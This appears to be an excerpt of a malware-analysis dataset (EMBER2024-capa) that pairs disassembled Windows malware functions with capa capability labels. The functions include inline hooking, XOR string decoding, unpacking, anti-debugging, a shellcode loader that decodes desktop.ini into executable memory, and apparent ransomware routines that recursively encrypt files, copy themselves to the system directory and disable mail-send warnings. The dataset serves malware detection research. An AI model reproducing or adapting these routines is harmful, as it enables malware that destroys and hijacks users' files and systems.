joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100151e0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x28
push 0xffffffffffffffff
mov ecx, dword [0x1005c824]
mov edx, dword [ecx + 0x1b4]
call edx
test eax, eax
jne 0x1001520e
xor al, al
jmp 0x1001523f
push 2
push 0x1004065c
mov eax, dword [ebp - 4]
push eax
call fcn.10015180
add esp, 0xc
movzx ecx, al
test ecx, ecx
jne 0x1001522c
xor al, al
jmp 0x1001523f
mov edx, dword [ebp - 4]
push edx
mov eax, dword [0x1005c824]
mov ecx, dword [eax + 0x8c]
call ecx
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x100152c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 0x10]
add eax, 5
push eax
call sub.MSVCR90.dll_malloc
add esp, 4
mov dword [ebp - 8], eax
lea ecx, [ebp - 4]
push ecx
push 0x40
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.MSVCR90.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 8]
add ecx, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov byte [edx], 0xe9
mov eax, dword [ebp + 8]
add eax, dword [ebp + 0x10]
sub eax, dword [ebp - 8]
sub eax, 5
mov ecx, dword [ebp - 8]
mov dword [ecx + 1], eax
mov edx, dword [ebp + 8]
mov byte [edx], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
sub eax, 5
mov ecx, dword [ebp + 8]
mov dword [ecx + 1], eax
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 8]
sub eax, dword [ebp + 0x10]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100154a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x66
mov dword [ebp - 8], 0
jmp 0x100154c2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x12
jge 0x10015501
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x69c1a7ce]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x100154fc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x100154b9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x12], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x10015980
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100449b8
push 0x10032642
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffec0
push ebx
push esi
push edi
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x150], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x14c], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x14c], 0xffffffff
jne 0x100159da
jmp 0x10015a43
push pe_nt_image_headers32
push 0
lea eax, [ebp - 0x148]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x148], pe_nt_image_headers32
lea ecx, [ebp - 0x148]
push ecx
mov edx, dword [ebp - 0x14c]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10015a13
jmp 0x10015a43
mov eax, dword [ebp - 0x140]
cmp eax, dword [ebp - 0x150]
jne 0x10015a2c
mov ecx, dword [ebp - 0x130]
mov dword [ebp - 0x1c], ecx
jmp 0x10015a43
lea edx, [ebp - 0x148]
push edx
mov eax, dword [ebp - 0x14c]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10015a13
mov dword [ebp - 4], 0xffffffff
call fcn.10015a51
jmp 0x10015a68
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10015a80
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100362fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14c
mov dword [ebp - 0x158], 0
lea ecx, [ebp - 0x154]
call fcn.1000b520
mov dword [ebp - 4], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xffffffff
je 0x10015b3f
push pe_nt_image_headers32
push 0
lea eax, [ebp - 0x134]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x134], pe_nt_image_headers32
lea ecx, [ebp - 0x134]
push ecx
mov edx, dword [ebp - 0x138]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10015b3f
mov eax, dword [ebp - 0x12c]
cmp eax, dword [ebp + 0xc]
jne 0x10015b28
lea ecx, [ebp - 0x110]
push ecx
lea ecx, [ebp - 0x154]
call fcn.1000b570
jmp 0x10015b3f
lea edx, [ebp - 0x134]
push edx
mov eax, dword [ebp - 0x138]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10015b09
cmp dword [ebp - 0x138], 0xffffffff
je 0x10015b55
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x154]
push edx
mov ecx, dword [ebp + 8]
call fcn.10002040
mov eax, dword [ebp - 0x158]
or eax, 1
mov dword [ebp - 0x158], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x154]
call fcn.10002080
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10016ba0
Capabilities:
Create thread
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x1005c834]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
mov ecx, dword [0x1005c834]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10016bd9
push 0
mov edx, dword [0x1005c834]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x10016be3
mov dword [0x1005c834], 0
cmp dword [0x1005c834], 0
jne 0x10016c9c
push 0
push 0
push 0
push 0x10015640
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1005c834], eax
push 0x10
mov eax, 0xbcc1eecc
push eax
lea ecx, [ebp - 0xb]
call fcn.10008890
push eax
push 0x3ad5be0c
lea ecx, [ebp - 0x1f]
call fcn.100175d0
push eax
call fcn.100156a0
add esp, 0xc
lea ecx, [ebp - 0x1f]
call fcn.100270c0
lea ecx, [ebp - 0xb]
call fcn.10027090
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x10016e50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x29
mov dword [ebp - 8], 0
jmp 0x10016e72
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x14
jge 0x10016eb1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x713a661d]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x10016eac
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10016e69
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x14], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10016fd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x22
mov dword [ebp - 8], 0
jmp 0x10016ff2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xc
jge 0x10017031
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0xcc027ba]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1001702c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10016fe9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xc], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x1000d720
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1000d8e4
pushal
mov esi, section.3211
lea edi, [esi - 0x9000]
push edi
jmp 0x1000d74a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1000d751
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1000d740
mov eax, 1
add ebx, ebx
jne 0x1000d763
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1000d758
jne 0x1000d774
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1000d758
xor ecx, ecx
sub eax, 3
jb 0x1000d788
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1000d7fa
mov ebp, eax
add ebx, ebx
jne 0x1000d793
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1000d7a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1000d7c4
inc ecx
add ebx, ebx
jne 0x1000d7b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1000d7a5
jne 0x1000d7c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1000d7a5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1000d7e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1000d7d5
jmp 0x1000d746
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1000d7e4
add edi, ecx
jmp 0x1000d746
pop esi
mov edi, esi
mov ecx, 0x1ea
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1000d802
cmp byte [edi], 5
jne 0x1000d802
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1000d807
lea edi, [esi + 0xb000]
mov eax, dword [edi]
or eax, eax
je 0x1000d876
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd03c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1000d834
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd040]
or eax, eax
je 0x1000d870
mov dword [ebx], eax
add ebx, 4
jmp 0x1000d851
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1000d8a7
cmp al, 0xef
ja 0x1000d89a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1000d87c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1000d889
mov ebp, dword [esi + 0xd044]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1000d8db
sub esp, 0xffffff80
jmp 0x1000125a
Function at 0x402175
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
mov dword [ebp - 0xc], str._s_s
mov dword [ebp - 0x10], str._s.
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x35c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._FindFirstFileA_8
sub esp, 8
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x35c]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x408322
lea eax, [ebp - 0x35c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x402249
mov dword [esp + 4], 0x408325
lea eax, [ebp - 0x35c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x402249
mov eax, dword [ebp - 0x35c]
and eax, 0x10
test eax, eax
je 0x402249
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call dbg.S3arch
jmp 0x402365
mov dword [esp + 4], str..rwg
lea eax, [ebp - 0x35c]
add eax, 0x2c
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x402365
mov dword [esp + 4], str..dll
lea eax, [ebp - 0x35c]
add eax, 0x2c
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x402365
mov dword [esp + 4], str..exe
lea eax, [ebp - 0x35c]
add eax, 0x2c
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x402365
mov dword [esp + 4], str..ini
lea eax, [ebp - 0x35c]
add eax, 0x2c
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x402365
mov dword [esp + 4], str..vxd
lea eax, [ebp - 0x35c]
add eax, 0x2c
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x402365
mov dword [esp + 4], str..drv
lea eax, [ebp - 0x35c]
add eax, 0x2c
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x402365
mov dword [esp + 4], 0x408322
lea eax, [ebp - 0x35c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x402365
mov dword [esp + 4], 0x408325
lea eax, [ebp - 0x35c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x402365
lea eax, [ebp - 0x21c]
mov dword [esp + 4], eax
mov dword [esp], str.Test3.3__s
call sym._printf
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call dbg.Encrypt_File
lea eax, [ebp - 0x35c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._FindNextFileA_8
sub esp, 8
test eax, eax
jne 0x4021c6
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._FindClose_4
sub esp, 4
nop
leave
ret
Function at 0x402396
Capabilities:
Create process on windows
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], str.kernel32.dll
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
mov dword [esp + 4], str.IsDebuggerPresent
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40240f
mov eax, dword [ebp - 0x10]
call eax
test eax, eax
je 0x4023fe
mov dword [esp], str.do_you_want_to_kill_me_
call sym._OutputDebugStringA_4
sub esp, 4
mov dword [esp + 4], 5
mov dword [esp], str.notepad.exe
call sym._WinExec_8
sub esp, 8
jmp 0x4023e5
mov dword [esp], 0x7d0
call sym._Sleep_4
sub esp, 4
jmp 0x4023cd
nop
nop
leave
ret 4

Function at 0x402415
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov byte [ebp - 9], 0
mov byte [ebp - 9], 0x43
jmp 0x40249e
movzx eax, byte [ebp - 9]
mov byte [ebp - 0x13], al
mov byte [ebp - 0x12], 0x3a
mov byte [ebp - 0x11], 0x5c
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x13]
mov dword [esp], eax
call sym._GetDriveTypeA_4
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
je 0x402455
cmp dword [ebp - 0x10], 4
jne 0x402494
movzx eax, byte [ebp - 0x11]
movsx ecx, al
movzx eax, byte [ebp - 0x12]
movsx edx, al
movzx eax, byte [ebp - 0x13]
movsx eax, al
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str._c_c_c
lea eax, [ebp - 0x20]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x20]
mov dword [esp], eax
call dbg.S3arch
movzx eax, byte [ebp - 9]
add eax, 1
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0x5a
jle 0x402425
nop
leave
ret 4
Function at 0x4025ad
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
mov dword [ebp - 0x78], 0x64
mov dword [ebp - 0x7c], 0
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Identities
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
jne 0x4026ea
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x78]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x74]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Default_User_ID
mov dword [esp], eax
call sym._RegQueryValueExA_24
sub esp, 0x18
test eax, eax
jne 0x4026dc
mov dword [esp + 4], str.SoftwareMicrosoftOutlook_Express5.0Mail
lea eax, [ebp - 0x74]
mov dword [esp], eax
call sym._lstrcatA_8
sub esp, 8
test eax, eax
je 0x4026dc
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x10]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
lea edx, [ebp - 0x74]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
jne 0x4026dc
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x7c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.Warn_on_Mapi_Send
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov eax, 1
jmp 0x4026ef
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov eax, 0
leave
ret
Function at 0x4029a8
Capabilities:
Check mutex on windows
Copy file
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x244
mov dword [esp], str.Test1.1
call sym._puts
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Test
mov dword [esp + 4], str.Test1.1
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [esp + 8], str.RansomWar_EOF
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateMutexA_12
sub esp, 0xc
call sym._GetLastError_0
cmp eax, 0xb7
jne 0x402a43
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Internal_error_in_module_gdi32.dll
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [esp], 0
call sym._ExitProcess_4
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._GetSystemDirectoryA_8
sub esp, 8
lea eax, [ebp - 0x210]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x210]
add eax, edx
mov dword [eax], 0x6365725c
mov dword [eax + 4], 0x7265766f
mov dword [eax + 8], 0x78652e79
mov word [eax + 0xc], 0x65
mov dword [esp + 8], 0
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._CopyFileA_12
sub esp, 0xc
lea eax, [ebp - 0x210]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x408517
mov dword [esp], str.windows
call sym._WriteProfileStringA_12
sub esp, 0xc
lea eax, [ebp - 0x214]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], dbg.R4ns0m@4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._GetSystemTime_4
sub esp, 4
call dbg.DisableMAPIWarning
test eax, eax
mov dword [esp], str.Test1.4
call sym._puts
mov dword [esp], 0xffffffff
call sym._Sleep_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret 0x10
Function at 0x4031c0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40a048
call sym._EnterCriticalSection_4
mov ebx, dword [0x40a040]
sub esp, 4
test ebx, ebx
je 0x40320b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x403204
test esi, esi
je 0x403204
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4031e0
mov dword [esp], 0x40a048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4033f0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x403440
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x403518
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40347e
cmp eax, 4
jne 0x4034a0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40348e
cmp edx, 4
je 0x40348e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004033f0
Function at 0x405380
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call sym.___main
call sym._GetCommandLineA_0
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
test ebx, ebx
jne 0x4053b6
jmp 0x4053ee
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x4053b3
cmp al, 9
je 0x4053b3
cmp al, 0x22
jne 0x4053d7
jmp 0x405436
cmp al, 9
je 0x4053e3
add ebx, 1
movzx eax, byte [ebx]
test al, 0xdf
jne 0x4053d0
jmp 0x4053e3
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x4053e0
cmp al, 9
je 0x4053e0
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x4053fd
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call dbg.WinMain@16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
test al, al
je 0x405442
mov edx, ebx
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x22
jne 0x405432
cmp al, 0x22
jne 0x4053e3
lea ebx, [edx + 2]
jmp 0x4053e3

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10